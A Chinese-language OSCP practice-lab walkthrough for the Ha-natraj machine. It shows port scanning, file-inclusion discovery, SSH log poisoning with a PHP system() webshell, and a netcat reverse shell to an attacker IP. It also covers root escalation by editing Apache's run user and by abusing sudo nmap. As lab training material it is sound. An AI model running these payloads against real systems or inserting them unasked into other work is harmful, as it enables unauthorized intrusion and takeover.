OSCP系列靶场-Esay-Ha-natraj
字数 1038 2025-08-10 16:34:28
OSCP靶场实战:Ha-natraj渗透测试报告
1. 靶场概述
Ha-natraj是一个难度为"Easy"的OSCP练习靶场,主要考察以下技术点:
- 文件包含漏洞利用
- 通过SSH日志注入获取Webshell
- Apache服务配置不当导致的权限提升
- Nmap的SUDO权限滥用提权
2. 信息收集阶段
2.1 端口扫描
使用Nmap进行端口扫描:
sudo nmap --min-rate 10000 -p- 192.168.179.80
sudo nmap -sT -sV -O -sC -p22,80 192.168.179.80
发现开放端口:
- 22/tcp - OpenSSH 7.6p1 Ubuntu
- 80/tcp - Apache httpd 2.4.29
2.2 Web服务枚举
目录扫描
使用dirsearch进行目录扫描:
dirsearch -u http://192.168.179.80:80 -x 302,403
发现关键目录:
- /images/ - 存在目录遍历漏洞
- /console/ - 包含file.php文件
文件参数爆破
使用ffuf爆破参数:
ffuf -u 'http://192.168.179.80:80/console/file.php?FUZZ=/etc/passwd' \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0
发现file参数存在文件包含漏洞。
3. 漏洞利用阶段
3.1 文件包含漏洞验证
通过包含/etc/passwd验证漏洞:
curl http://192.168.179.80/console/file.php?file=/etc/passwd
发现用户mahakal,但无法读取/etc/shadow文件。
3.2 通过SSH日志注入获取Webshell
- 首先确认漏洞类型为文件包含而非文件读取
- 通过SSH登录注入PHP代码到auth.log:
ssh '<?php system($_GET[YaoRuo]); ?>'@192.168.179.80 -p22
- 通过文件包含执行命令:
curl "http://192.168.179.80/console/file.php?file=/var/log/auth.log&YaoRuo=whoami"
3.3 获取反弹Shell
- 攻击机开启监听:
sudo nc -lvnp 6666
- 注入PHP反弹Shell代码:
ssh '<?php system("nc -e /bin/bash 192.168.45.172 6666"); ?>'@192.168.179.80 -p22
- 触发执行:
curl http://192.168.179.80/console/file.php?file=/var/log/auth.log
3.4 获取交互式Shell
python3 -c "import pty;pty.spawn('/bin/bash');"
4. 权限提升阶段
4.1 枚举SUDO权限
sudo -l
输出:
User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: /bin/systemctl start apache2
(ALL) NOPASSWD: /bin/systemctl stop apache2
(ALL) NOPASSWD: /bin/systemctl restart apache2
4.2 通过Apache配置提权
- 检查Apache配置文件:
cat /etc/apache2/apache2.conf
- 修改配置将运行用户改为root:
sed -i 's/User ${APACHE_RUN_USER}/User root/g' /etc/apache2/apache2.conf
sed -i 's/Group ${APACHE_RUN_GROUP}/Group root/g' /etc/apache2/apache2.conf
- 重启Apache服务:
sudo /bin/systemctl restart apache2
4.3 通过Nmap提权
发现nmap有SUDO权限:
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
5. 获取Flag
- 用户Flag:
cat /var/www/local.txt
输出:90c36356bd71bb3500456a09d600e7fc
- Root Flag:
cat /root/proof.txt
输出:63b489d7c2affe8892089d178b1900f7
6. 总结与思考
-
关键学习点:
- 文件包含漏洞的多种利用方式
- 通过日志注入获取Webshell的技巧
- 服务配置不当导致的权限提升
- SUDO权限滥用的提权方法
-
遇到的问题与解决方案:
- 直接PHP反弹Shell不稳定 → 改用参数注入方式
- Apache配置修改后服务崩溃 → 确保配置语法正确并等待服务完全启动
- 直接提权到root失败 → 先提权到其他用户再二次提权
-
改进建议:
- 修改配置文件时保留备份
- 使用更稳定的反弹Shell方法
- 充分测试每种提权方法的可行性